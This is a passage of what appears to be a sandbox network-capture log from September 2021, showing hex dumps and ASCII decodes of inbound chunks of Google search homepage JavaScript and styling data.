opeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text
",required:!1,sor

2021-09-14 14:03:24 UTC 143 IN Data Raw: 72 6e 20 57 28 62 2c 61 2e 44 2c 63 55 29 7d 2c 61 2e 44 2e 6f 6e 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 
6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 55 28 61 2c 62 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 28 62 
2c 61 2e 44 2c 63 55 29 7d 29 7d 29 3b 61 2e 73 26 26 28 61 2e 73 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 
28 62 29 7b 72 65 74 75 72 6e 20 4d 61 28 61 2c 62 29 7d 2c 61 2e 73 2e 6f 6e 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 
6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 55 28 61 2c 62 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 61 
28 61 2c 62 29 7d 29 7d 29 3b 61 2e 69 26 26 0a 28 61 2e 69 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 62 29 
7b 72 65 74 75 72 6e 20 4a 61 28 61 2c 62 29 7d 2c 61 2e 69 2e 
Data Ascii: rn W(b,a.D,cU)},a.D.onkeydown=function(b){return U(a,b,function(){return W(b,a.D,cU)})});a.s&&(a.s.onclick=f
unction(b){return Ma(a,b)},a.s.onkeydown=function(b){return U(a,b,function(){return Ma(a,b)})});a.i&&(a.i.onclick=functi
on(b){return Ja(a,b)},a.i.

2021-09-14 14:03:24 UTC 145 IN Data Raw: 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 75 4d 6f 75 73 63 22 29 3b 74 68 69 73 2e 76 3d 21 31 
3b 74 68 69 73 2e 6c 3d 30 3b 74 68 69 73 2e 43 3d 74 68 69 73 2e 69 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 
6c 28 22 6c 69 22 29 3b 74 68 69 73 2e 58 3d 74 68 69 73 2e 43 2e 6c 65 6e 67 74 68 2d 31 3b 74 68 69 73 2e 4f 3d 30 
3b 74 68 69 73 2e 57 3d 74 68 69 73 2e 4c 3d 21 31 3b 74 68 69 73 2e 55 3d 21 30 3b 74 68 69 73 2e 4b 3d 21 31 3b 74 
68 69 73 2e 41 3d 74 68 69 73 2e 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 2c 20 62 75 74 74 6f 6e 
22 29 3b 74 68 69 73 2e 54 3d 74 68 69 73 2e 41 2e 6c 65 6e 67 74 68 2d 31 3b 74 68 69 73 2e 42 3d 74 68 69 73 2e 59 
3d 21 31 3b 74 68 69 73 2e 50 3d 5b 5d 7d 3b 28 66 75 6e 63 74 69 6f 
Data Ascii: t.getElementById("uMousc");this.v=!1;this.l=0;this.C=this.i.querySelectorAll("li");this.X=this.C.length-1;th
is.O=0;this.W=this.L=!1;this.U=!0;this.K=!1;this.A=this.h.querySelectorAll("a, button");this.T=this.A.length-1;this.B=th
is.Y=!1;this.P=[]};(functio

2021-09-14 14:03:24 UTC 146 IN Data Raw: 2e 30 0a 2a 2f 0a 5f 2e 53 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 5f 2e 74 2e 61 64 64 45 76 65 
6e 74 4c 69 73 74 65 6e 65 72 7c 7c 21 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 72 65 74 75 72 
6e 21 31 3b 76 61 72 20 61 3d 21 31 2c 62 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 7d 2c 
22 70 61 73 73 69 76 65 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 3d 21 30 7d 7d 29 3b 74 72 79 7b 5f 2e 
74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 5f 2e 48 61 2c 62 29 2c 5f 2e 74 2e 72 65 
6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 5f 2e 48 61 2c 62 29 7d 63 61 74 63 68 28 63 
29 7b 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 0a 5f 2e 54 
Data Ascii: .0*/_.Sd=function(){if(!_.t.addEventListener||!Object.defineProperty)return!1;var a=!1,b=Object.defineProper
ty({},"passive",{get:function(){a=!0}});try{_.t.addEventListener("test",_.Ha,b),_.t.removeEventListener("test",_.Ha,b)}catch(c)
{}return a}();_.T
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2021-09-14 14:03:24 UTC 147 IN Data Raw: 6e 65 77 20 47 68 28 5f 2e 46 64 29 3b 5f 2e 67 64 28 22 64 64 22 2c 49 68 29 3b 0a 0a 7d 63 61 74 63 68 28 
65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 5f 2e 6b 6a 3d 66 75 6e 63 74 69 
6f 6e 28 61 2c 62 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 62 3d 62 7c 7c 5f 2e 74 3b 66 6f 72 28 76 61 72 20 
63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 6e 75 6c 6c 3d 3d 62 
29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 
6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 76 61 72 20 6c 6a 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 
65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 67 62 5f 4e 61 20 2e 
Data Ascii: new Gh(_.Fd);_.gd("dd",Ih);}catch(e){_._DumpException(e)}try{_.kj=function(a,b){a=a.split(".");b=b||_.t;for(var 
c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b};}catch(e){_._DumpException(e)}try{var lj=document.quer
ySelector(".gb_Na .

2021-09-14 14:03:24 UTC 149 IN Data Raw: 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 77 69 64 74 68 29 3b 74 68 69 73 2e 68 65 69 67 68 74 3d 4d 61 
74 68 2e 63 65 69 6c 28 74 68 69 73 2e 68 65 69 67 68 74 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 5f 2e 68 2e 66 
6c 6f 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 77 69 64 74 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 
69 73 2e 77 69 64 74 68 29 3b 74 68 69 73 2e 68 65 69 67 68 74 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 68 
65 69 67 68 74 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 5f 2e 68 2e 72 6f 75 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 
7b 74 68 69 73 2e 77 69 64 74 68 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 73 2e 77 69 64 74 68 29 3b 74 68 69 73 2
e 68 65 69 67 68 74 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 
Data Ascii: Math.ceil(this.width);this.height=Math.ceil(this.height);return this};_.h.floor=function(){this.width=Math.floor(this.
width);this.height=Math.floor(this.height);return this};_.h.round=function(){this.width=Math.round(this.width);this.heig
ht=Math.round(thi

2021-09-14 14:03:24 UTC 150 IN Data Raw: 2c 22 64 61 74 61 2d 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 3d 63 
7d 29 7d 3b 65 65 3d 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 22 63 65 6c 6c 50 61 64 64 69 6e 67 22 2c 63 65 6c 6c 73 
70 61 63 69 6e 67 3a 22 63 65 6c 6c 53 70 61 63 69 6e 67 22 2c 63 6f 6c 73 70 61 6e 3a 22 63 6f 6c 53 70 61 6e 22 2c 66 
72 61 6d 65 62 6f 72 64 65 72 3a 22 66 72 61 6d 65 42 6f 72 64 65 72 22 2c 68 65 69 67 68 74 3a 22 68 65 69 67 68 74 
22 2c 6d 61 78 6c 65 6e 67 74 68 3a 22 6d 61 78 4c 65 6e 67 74 68 22 2c 6e 6f 6e 63 65 3a 22 6e 6f 6e 63 65 22 2c 72 6f 
6c 65 3a 22 72 6f 6c 65 22 2c 72 6f 77 73 70 61 6e 3a 22 72 6f 77 53 70 61 6e 22 2c 74 79 70 65 3a 22 74 79 70 65 22 2c 
75 73 65 6d 61 70 3a 22 75 73 65 4d 61 70 22 2c 76 61 6c 69 67 
Data Ascii: ,"data-")?a.setAttribute(d,c):a[d]=c})};ee={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"col
Span",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSp
an",type:"type",usemap:"useMap",valig

2021-09-14 14:03:24 UTC 151 IN Data Raw: 29 3b 29 7b 69 66 28 62 28 61 29 29 72 65 74 75 72 6e 20 61 3b 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 
64 2b 2b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 
70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 5f 2e 71 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 43 2e 63 61 6c 6c 
28 74 68 69 73 2c 61 29 7d 3b 5f 2e 71 28 5f 2e 71 6a 2c 5f 2e 43 29 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 
75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 5f 2e 72 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 
63 29 7b 61 2e 72 65 6c 3d 63 3b 2d 31 21 3d 63 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 
73 74 79 6c 65 73 68 65 65 74 22 29 3f 28 61 2e 68 72 65 
Data Ascii: );){if(b(a))return a;a=a.parentNode;d++}return null};}catch(e){_._DumpException(e)}try{_.qj=function(a){_.C.
call(this,a)};_.q(_.qj,_.C);}catch(e){_._DumpException(e)}try{_.rj=function(a,b,c){a.rel=c;-1!=c.toLowerCase().indexOf("
stylesheet")?(a.hre

2021-09-14 14:03:24 UTC 152 IN Data Raw: 7d 7d 2c 41 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 43 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 7d 3b 
5f 2e 71 28 41 6a 2c 5f 2e 43 29 3b 0a 76 61 72 20 42 6a 3d 5f 2e 48 28 5f 2e 42 64 2c 41 6a 2c 31 37 29 7c 7c 6e 65 77 
20 41 6a 2c 43 6a 2c 7a 6a 3d 28 43 6a 3d 5f 2e 48 28 42 6a 2c 5f 2e 71 6a 2c 31 29 29 3f 5f 2e 64 62 28 5f 2e 45 28 43 
6a 2c 34 29 7c 7c 22 22 29 3a 6e 75 6c 6c 2c 44 6a 2c 45 6a 3d 28 44 6a 3d 5f 2e 48 28 42 6a 2c 5f 2e 71 6a 2c 32 29 29 
3f 5f 2e 64 62 28 5f 2e 45 28 44 6a 2c 34 29 7c 7c 22 22 29 3a 6e 75 6c 6c 2c 46 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
78 6a 28 31 2c 32 29 3b 69 66 28 45 6a 29 7b 76 61 72 20 61 3d 5f 2e 6a 65 28 22 4c 49 4e 4b 22 29 3b 61 2e 73 65 74 
41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 74 65 
Data Ascii: }},Aj=function(a){_.C.call(this,a)};_.q(Aj,_.C);var Bj=_.H(_.Bd,Aj,17)||new Aj,Cj,zj=(Cj=_.H(Bj,_.qj,1))?_.d
b(_.E(Cj,4)||""):null,Dj,Ej=(Dj=_.H(Bj,_.qj,2))?_.db(_.E(Dj,4)||""):null,Fj=function(){xj(1,2);if(Ej){var a=_.je("LINK");a.setAttr
ibute("type","te

2021-09-14 14:03:24 UTC 154 IN Data Raw: 2c 73 69 66 3a 74 72 75 65 2c 73 6e 65 74 3a 74 72 75 65 2c 73 74 72 74 3a 30 2c 75 62 6d 3a 66 61 6c 73 65 
2c 75 77 70 3a 74 72 75 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 70 6d 63 3d 27 7b 5c 
78 32 32 61 61 5c 78 32 32 3a 7b 7d 2c 5c 78 32 32 61 62 64 5c 78 32 32 3a 7b 5c 78 32 32 61 62 64 5c 78 32 32 3a 66 
61 6c 73 65 2c 5c 78 32 32 64 65 62 5c 78 32 32 3a 66 61 6c 73 65 2c 5c 78 32 32 64 65 74 5c 78 32 32 3a 66 61 6c 73 6
5 7d 2c 5c 78 32 32 61 73 79 6e 63 5c 78 32 32 3a 7b 7d 2c 5c 78 32 32 63 64 6f 73 5c 78 32 32 3a 7b 5c 78 32 32 63 64 
6f 62 73 65 6c 5c 78 32 32 3a 66 61 6c 73 65 7d 2c 5c 78 32 32 63 72 5c 78 32 32 3a 7b 5c 78 32 32 71 69 72 5c 78 32 32 
3a 66 61 6c 73 65 2c 5c 78 32 32 72 63 74 6a 5c 78 32 32 3a 74 72 
Data Ascii: ,sif:true,snet:true,strt:0,ubm:false,uwp:true};})();(function(){var pmc='{\x22aa\x22:{},\x22abd\x22:{\x22abd
\x22:false,\x22deb\x22:false,\x22det\x22:false},\x22async\x22:{},\x22cdos\x22:{\x22cdobsel\x22:false},\x22cr\x22:{\x22qi
r\x22:false,\x22rctj\x22:tr

2021-09-14 14:03:24 UTC 155 IN Data Raw: 5c 78 33 64 72 65 73 74 61 75 72 61 6e 74 73 2b 6e 65 61 72 62 79 5c 78 32 32 2c 5c 78 32 32 69 64 5c 78 32 
32 3a 5c 78 32 32 68 75 6e 67 72 79 5c 78 32 32 2c 5c 78 32 32 6d 73 67 5c 78 32 32 3a 5c 78 32 32 49 5c 78 32 37 6d 
20 46 65 65 6c 69 6e 67 20 48 75 6e 67 72 79 5c 78 32 32 7d 2c 7b 5c 78 32 32 68 72 65 66 5c 78 32 32 3a 5c 78 32 32 
2f 73 65 61 72 63 68 3f 67 77 73 5f 72 64 5c 78 33 64 73 73 6c 5c 5c 75 30 30 32 36 71 5c 78 33 64 66 6c 69 70 2b 61 2b 
63 6f 69 6e 5c 5c 75 30 30 32 36 63 73 66 5c 78 33 64 62 5c 78 32 32 2c 5c 78 32 32 69 64 5c 78 32 32 3a 5c 78 32 32 61 
64 76 65 6e 74 75 72 6f 75 73 5c 78 32 32 2c 5c 78 32 32 6d 73 67 5c 78 32 32 3a 5c 78 32 32 49 5c 78 32 37 6d 20 46 65
65 6c 69 6e 67 20 41 64 76 65 6e 74 75 72 6f 75 73 5c 78 32 32 
Data Ascii: \x3drestaurants+nearby\x22,\x22id\x22:\x22hungry\x22,\x22msg\x22:\x22I\x27m Feeling Hungry\x22},{\
x22href\x22:\x22/search?gws_rd\x3dssl\\u0026q\x3dflip+a+coin\\u0026csf\x3db\x22,\x22id\x22:\x22adventurous\x22
,\x22msg\x22:\x22I\x27m Feeling Adventurous\x22

2021-09-14 14:03:24 UTC 156 IN Data Raw: 77 30 68 58 67 7a 44 4d 54 78 36 36 75 6e 5a 61 4e 38 41 4e 4a 48 41 5c 78 32 32 2c 5c 78 32 32 69 64 5c 78 
32 32 3a 5c 78 32 32 74 72 65 6e 64 79 5c 78 32 32 2c 5c 78 32 32 6d 73 67 5c 78 32 32 3a 5c 78 32 32 49 5c 78 32 37 
6d 20 46 65 65 6c 69 6e 67 20 54 72 65 6e 64 79 5c 78 32 32 7d 2c 7b 5c 78 32 32 68 72 65 66 5c 78 32 32 3a 5c 78 32 
32 2f 75 72 6c 3f 75 72 6c 5c 78 33 64 68 74 74 70 73 3a 2f 2f 61 72 74 73 61 6e 64 63 75 6c 74 75 72 65 2e 67 6f 6f 67 6c
65 2e 63 6f 6d 2f 70 61 72 74 6e 65 72 2f 6d 75 73 65 6f 2d 72 65 69 6e 61 2d 73 6f 66 69 61 5c 5c 75 30 30 32 36 73 61 
5c 78 33 64 74 5c 5c 75 30 30 32 36 75 73 67 5c 78 33 64 41 4f 76 56 61 77 33 53 39 58 70 41 65 49 4c 6e 51 7a 5a 54 
63 63 70 31 62 41 50 6c 5c 78 32 32 2c 5c 78 32 32 69 64 5c 78 
Data Ascii: w0hXgzDMTx66unZaN8ANJHA\x22,\x22id\x22:\x22trendy\x22,\x22msg\x22:\x22I\x27m Feeling Trendy\x22},{
\x22href\x22:\x22/url?url\x3dhttps://artsandculture.google.com/partner/museo-reina-sofia\\u0026sa\x3dt\\u0026u
sg\x3dAOvVaw3S9XpAeILnQzZTccp1bAPl\x22,\x22id\x
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2021-09-14 14:03:24 UTC 157 IN Data Raw: 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 6e 75 6c 6c 2c 31 2c 31 2c 30 2c 6e 75 6c 
6c 2c 5c 78 32 32 5c 78 32 32 2c 30 5d 27 5d 3b 0a 76 61 72 20 61 3d 6d 3b 77 69 6e 64 6f 77 2e 57 5f 6a 64 3d 77 69 6e 
64 6f 77 2e 57 5f 6a 64 7c 7c 7b 7d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 3d 32 
29 77 69 6e 64 6f 77 2e 57 5f 6a 64 5b 61 5b 62 5d 5d 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 61 5b 62 2b 31 5d 29 3b 7d 29 
28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 3d 7b 22 
53 30 36 47 72 62 22 3a 22 22 2c 22 7a 43 68 4a 6f 64 22 3a 22 25 2e 40 2e 5d 22 2c 22 53 4e 6c 4d 30 65 22 3a 22 22 
2c 22 77 32 62 74 41 65 22 3a 22 25 2e 40 2e 5c 22 5c 22 2c 
Data Ascii: null,null,null,null,0,null,1,1,0,null,\x22\x22,0]'];var a=m;window.W_jd=window.W_jd||{};for(var b=0;b<a.leng
th;b+=2)window.W_jd[a[b]]=JSON.parse(a[b+1]);})();(function(){window.WIZ_global_data={"S06Grb":"","zChJod":"%.
@.]","SNlM0e":"","w2btAe":"%.@.\"\",

2021-09-14 14:03:24 UTC 159 IN Data Raw: 22 23 64 61 64 63 65 30 22 2c 22 23 30 30 30 22 2c 22 23 64 61 64 63 65 30 22 2c 22 23 30 30 30 22 2c 22 23 
31 61 37 33 65 38 22 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 
61 6c 73 65 2c 74 72 75 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c 66 61 6c 73 65 2c
22 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 32 29 22 2c 22 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 36 29 22 2c 22 72 67 
62 61 28 30 2c 30 2c 30 2c 2e 35 34 29 22 2c 22 72 67 62 61 0d 0a 
Data Ascii: "#dadce0","#000","#dadce0","#000","#1a73e8",false,false,false,false,false,false,true,false,false,false,false
,false,"rgba(0,0,0,.12)","rgba(0,0,0,.26)","rgba(0,0,0,.54)","rgba

2021-09-14 14:03:24 UTC 159 IN Data Raw: 32 32 34 31 0d 0a 28 30 2c 30 2c 30 2c 2e 38 37 29 22 2c 22 72 67 62 61 28 32 30 34 2c 32 30 34 2c 32 30 34 
2c 2e 31 35 29 22 2c 22 72 67 62 61 28 32 30 34 2c 32 30 34 2c 32 30 34 2c 2e 32 35 29 22 2c 22 72 67 62 61 28 31 31 
32 2c 31 31 37 2c 31 32 32 2c 2e 32 30 29 22 2c 22 72 67 62 61 28 31 31 32 2c 31 31 37 2c 31 32 32 2c 2e 34 30 29 22 
2c 22 23 34 32 38 35 66 34 22 2c 22 23 31 35 35 38 64 36 22 2c 22 23 33 34 61 38 35 33 22 2c 22 23 65 61 34 33 33 35 2
2 2c 22 23 66 62 62 63 30 34 22 2c 22 23 66 38 66 39 66 61 22 2c 22 23 66 38 66 39 66 61 22 2c 22 23 66 38 66 39 66 61 
22 2c 22 23 37 30 37 35 37 61 22 2c 22 23 32 30 32 31 32 34 22 2c 22 23 33 34 61 38 35 33 22 2c 22 72 67 62 61 28 30 
2c 30 2c 30 2c 2e 31 32 29 22 2c 22 23 33 32 33 32 33 32 22 2c 22 23 
Data Ascii: 2241(0,0,0,.87)","rgba(204,204,204,.15)","rgba(204,204,204,.25)","rgba(112,117,122,.20)","rgba(112,117,122,.
40)","#4285f4","#1558d6","#34a853","#ea4335","#fbbc04","#f8f9fa","#f8f9fa","#f8f9fa","#70757a","#202124","#34a
853","rgba(0,0,0,.12)","#323232","#

2021-09-14 14:03:24 UTC 160 IN Data Raw: 5c 22 23 66 66 66 5c 22 2c 5c 22 23 31 61 37 33 65 38 5c 22 2c 5c 22 23 64 31 64 31 64 31 5c 22 2c 5c 22 23 
66 66 66 5c 22 2c 6e 75 6c 6c 2c 31 2c 6e 75 6c 6c 2c 31 34 2c 35 30 30 2c 5c 22 23 31 39 36 37 64 32 5c 22 2c 5c 22 34 
70 78 5c 22 2c 5c 22 23 31 61 37 33 65 38 5c 22 2c 5c 22 23 65 65 65 65 65 65 5c 22 5d 22 2c 6e 75 6c 6c 2c 22 25 2e 
40 2e 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 5d 2c 30 2c 6e 75 6c 6c 2c 30 2c 30 5d 22 2c 22 65 6e 2d 47 42 22 2c 22 25 2e 
40 2e 5c 22 31 33 70 78 5c 22 2c 5c 22 31 36 70 78 5c 22 2c 5c 22 31 31 70 78 5c 22 5d 22 2c 22 25 2e 40 2e 5c 22 31 30
70 78 5c 22 2c 31 30 2c 5c 22 31 36 70 78 5c 22 2c 31 36 5d 22 2c 22 25 2e 40 2e 5c 22 31 34 70 78 5c 22 2c 31 34 5d 
22 2c 22 25 2e 40 2e 34 30 5d 22 2c 6e 75 6c 6c 2c 22 25 2e 40 
Data Ascii: \"#fff\",\"#1a73e8\",\"#d1d1d1\",\"#fff\",null,1,null,14,500,\"#1967d2\",\"4px\",\"#1a73e8\",\"#eeeeee\"]",null,"%.@.
[null,null,1],0,null,0,0]","en-GB","%.@.\"13px\",\"16px\",\"11px\"]","%.@.\"10px\",10,\"16px\",16]","%.@.\"14px\",14]","%
.@.40]",null,"%.@

2021-09-14 14:03:24 UTC 161 IN Data Raw: 61 28 36 30 2c 36 34 2c 36 37 2c 30 2e 32 34 29 5c 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5c 22 31 70 78 20 73 
6f 6c 69 64 20 20 23 64 61 64 63 65 30 5c 22 2c 5c 22 6e 6f 6e 65 5c 22 2c 5c 22 6e 6f 6e 65 5c 22 2c 5c 22 6e 6f 6e 65 
5c 22 5d 22 2c 22 25 2e 40 2e 5c 22 47 6f 6f 67 6c 65 20 53 61 6e 73 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 
5c 22 2c 5c 22 47 6f 6f 67 6c 65 20 53 61 6e 73 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2d 6d 65 64 69 75 6d 
2c 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 61 72 
69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2d 6d 65 64 69 75 6d 2c 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 61 72 
69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2d 6c 69 67 68 74 2c 
Data Ascii: a(60,64,67,0.24)\",null,null,\"1px solid  #dadce0\",\"none\",\"none\",\"none\"]","%.@.\"Google Sans,arial,sans-
serif\",\"Google Sans,arial,sans-serif-medium,sans-serif\",\"arial,sans-serif\",\"arial,sans-serif-medium,sans-serif\",\"arial,
sans-serif-light,

2021-09-14 14:03:24 UTC 163 IN Data Raw: 6f 67 6c 65 20 53 61 6e 73 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 33 32 70 78 5c 
22 2c 5c 22 32 34 70 78 5c 22 2c 6e 75 6c 6c 2c 5c 22 35 30 30 5c 22 5d 22 2c 22 25 2e 40 2e 34 5d 22 2c 22 25 2e 40 2e 
5c 22 31 34 70 78 5c 22 2c 31 34 2c 5c 22 31 36 70 78 5c 22 2c 31 36 2c 5c 22 30 5c 22 2c 30 2c 5c 22 6e 6f 6e 65 5c 22 
2c 36 33 32 2c 5c 22 31 70 78 20 73 6f 6c 69 64 20 23 64 66 65 31 65 35 5c 22 2c 5c 22 6e 6f 72 6d 61 6c 5c 22 2c 5c 22 
6e 6f 72 6d 61 6c 5c 22 2c 5c 22 23 37 30 37 35 37 61 5c 22 2c 5c 22 31 32 70 78 5c 22 2c 5c 22 31 2e 33 34 5c 22 2c 5c 
22 31 70 78 20 73 6f 6c 69 64 20 23 64 66 65 31 65 35 5c 22 2c 5c 22 6e 6f 6e 65 5c 22 2c 5c 22 30 5c 22 2c 5c 22 6e 6f 
6e 65 5c 22 2c 5c 22 6e 6f 6e 65 5c 22 2c 5c 22 6e 6f 6e 
Data Ascii: ogle Sans,arial,sans-serif\",\"32px\",\"24px\",null,\"500\"]","%.@.4]","%.@.\"14px\",14,\"16px\",16,\"0\",0,
\"none\",632,\"1px solid #dfe1e5\",\"normal\",\"normal\",\"#70757a\",\"12px\",\"1.34\",\"1px solid #dfe1e5\",\"none\",\"
0\",\"none\",\"none\",\"non

2021-09-14 14:03:24 UTC 164 IN Data Raw: 38 34 31 2c 34 30 32 30 2c 39 37 38 2c 31 33 32 32 38 2c 33 38 34 37 2c 33 37 37 36 2c 34 31 36 2c 36 34 33 
34 2c 33 39 33 30 2c 34 34 38 2c 31 32 2c 38 36 36 2c 31 32 2c 35 2c 37 2c 31 33 37 36 33 2c 31 33 2c 32 37 36 32 2c 39
31 39 2c 35 30 38 31 2c 36 32 2c 31 35 33 31 2c 31 32 37 39 2c 32 32 31 32 2c 35 33 30 2c 31 34 39 2c 31 31 30 33 2c 
38 34 30 2c 32 31 39 36 2c 34 31 30 31 2c 31 30 39 2c 32 30 30 33 2c 31 34 30 32 2c 36 30 36 2c 32 30 32 35 2c 31 37 
37 35 2c 35 32 30 2c 35 37 36 36 2c 32 35 37 2c 36 30 37 30 2c 32 35 37 37 2c 33 32 32 37 2c 32 38 34 35 2c 37 2c 34 3
8 30 38 2c 37 39 31 2c 36 37 35 35 2c 35 30 39 36 2c 37 35 34 30 2c 33 37 39 39 2c 34 39 38 31 2c 39 30 38 2c 32 2c 39 
34 31 2c 32 36 31 34 2c 33 37 38 33 2c 39 33 35 39 2c 33 2c 35 37 
Data Ascii: 841,4020,978,13228,3847,3776,416,6434,3930,448,12,866,12,5,7,13763,13,2762,919,5081,62,1531,1279,2
212,530,149,1103,840,2196,4101,109,2003,1402,606,2025,1775,520,5766,257,6070,2577,3227,2845,7,4808,791,6755,50
96,7540,3799,4981,908,2,941,2614,3783,9359,3,57

2021-09-14 14:03:24 UTC 165 IN Data Raw: 2c 32 2c 32 2c 34 2c 32 2c 33 2c 33 2c 32 36 39 2c 35 32 30 2c 32 2c 32 32 2c 33 2c 34 2c 33 2c 32 33 36 35 
34 33 30 33 2c 32 39 39 38 36 35 2c 34 30 34 31 33 35 32 2c 33 33 38 2c 33 2c 32 34 31 34 2c 34 34 38 2c 32 2c 34 36 
33 2c 31 37 32 2c 34 30 36 2c 39 2c 33 32 33 35 2c 31 32 35 2c 31 31 35 33 2c 32 36 32 2c 39 32 36 2c 38 31 32 27 3b 
7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 75 3d 27 2f 78 6a 73 2f 5f 2f 6a 73 2f 6b 5c 78 33 64 78 
6a 73 2e 73 2e 65 6e 5f 47 42 2e 66 6a 6a 5f 46 7a 68 6b 75 4b 41 2e 4f 2f 61 6d 5c 78 33 64 52 4b 41 41 41 41 45 41 41 
41 41 41 41 41 41 41 41 41 41 46 51 41 59 51 43 41 41 41 41 44 41 44 43 41 41 41 41 41 41 41 41 43 41 41 41 68 49 50 
4a 69 51 41 41 41 41 43 41 4d 69 38 46 44 41 41 41 41 41 43 67 41 
Data Ascii: ,2,2,4,2,3,3,269,520,2,22,3,4,3,23654303,299865,4041352,338,3,2414,448,2,463,172,406,9,3235,125,11
53,262,926,812';})();(function(){var u='/xjs/_/js/k\x3dxjs.s.en_GB.fjj_FzhkuKA.O/am\x3dRKAAAAEAAAAAAAAAAAAFQAY
QCAAAADADCAAAAAAAACAAAhIPJiQAAAACAMi8FDAAAAACgA

Timestamp
kBytes
transferred Direction Data
